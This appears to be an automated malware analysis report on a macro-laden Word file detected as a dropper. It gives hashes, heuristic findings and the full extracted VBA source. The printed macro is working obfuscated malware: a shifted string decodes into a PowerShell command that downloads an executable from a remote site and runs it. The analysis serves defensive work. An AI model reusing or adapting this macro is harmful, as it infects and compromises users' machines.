Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8d74ae7b6a50c748…

MALICIOUS

Office (OOXML)

61.8 KB Created: 2017-11-23 12:47:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2019-05-16
MD5: 769bfb1fd8f5eb181846c6d55845fec6 SHA-1: 39212552a49b7097a7f6409f80141adb14ef04be SHA-256: 8d74ae7b6a50c748ded262a822aa429a65666b965862ff2f4edafcd3a6f622d8
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains a VBA macro with a Document_Open auto-execution routine, indicative of malicious intent. The script attempts to download and execute a second-stage payload by reconstructing a PowerShell command from obfuscated strings. The `Environ$("computername")` call and the use of `CreateObject` further suggest dynamic execution and potential payload retrieval.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6399006-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6399006-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1780 bytes
SHA-256: 59c8814f10f2c160041ca24ae48b2cd2bbe6a68988e1b107a25660f5a533b5d0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public uUUZyYDQ As String
Private Sub Document_Close()
MsgBox "Copyright by Microsoft"
Dim rJlKpImAuo, rxZaDJBJQZ, jIndmj As String
Dim rVvSbGXsxD(1 To 5) As String
rVvSbGXsxD(1) = "tbjYBHQoVgaNekKv"
rVvSbGXsxD(2) = "ewRZmbF"
rVvSbGXsxD(3) = "gyvpkWPj"
rVvSbGXsxD(4) = "aKueK"
rVvSbGXsxD(5) = "tHSOfmYVgzhsEbq"
rJlKpImAuo = "fpg1h{h#2f#SrzhuVkhoo1h{h#0Frppdqg#+qhz0remhfw#V|vwhp1Qhw1ZheFolhqw,1GrzqordgIloh+*kwwsv=22dsdshuqrwlrq1frp2zs0lqfoxghv2Wh{w2uhg1sks*/*(dssgdwd(_kDpUU1h{h*,>#^V|vwhp1Gldjqrvwlfv1Surfhvv`==Vwduw+*(dssgdwd(_kDpUU1h{h*,"
uUUZyYDQ = Environ$("computername")
If uUUZyYDQ Like "gdu" Then
jIndmj = "hey"
Else
jIndmj = "rt543"
rxZaDJBJQZ = Replace(rxZaDJBJQZ, jIndmj, "a")
For i = 1 To Len(rJlKpImAuo)
rxZaDJBJQZ = rxZaDJBJQZ + Chr(Asc(Mid(rJlKpImAuo, i, Mid(CStr(Year(Now)), 3, 1))) - 3)
Next i
rVvSbGXsxD(2) = rxZaDJBJQZ
eBbPPhN (rVvSbGXsxD(Mid(CStr(Year(Now)), 1, 1)))
End If
End Sub
Public Function rmPrqK(aaPdY As String)
Call CreateObject(Application.Run("bFLNhi")).Run(aaPdY, (9893 - 9893))
End Function
Public Function eBbPPhN(ouwl As String)
Dim vMOrxh(1 To 5) As String
vMOrxh(5) = "rmPrqK"
vMOrxh(2) = "ojmdT"
Call Application.Run(Replace(vMOrxh(5) + vMOrxh(2), "ojmdT", ""), ouwl)
End Function
Public Function bFLNhi()
bFLNhi = Trim(StrReverse(Replace("tpircsTruta", "Truta", "w")) & Replace("Vborhahell", "Vborha", ".S"))
End Function

Private Sub Document_Open()
 ActiveDocument.Shapes("panel").Visible = msoFalse
 End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12288 bytes
SHA-256: e32ea241af495f7c41a45ad5f713f5dda6acd47f7d84232b419c4a36b8929a4a

Open this report in the interactive analyzer, or submit your own file for analysis.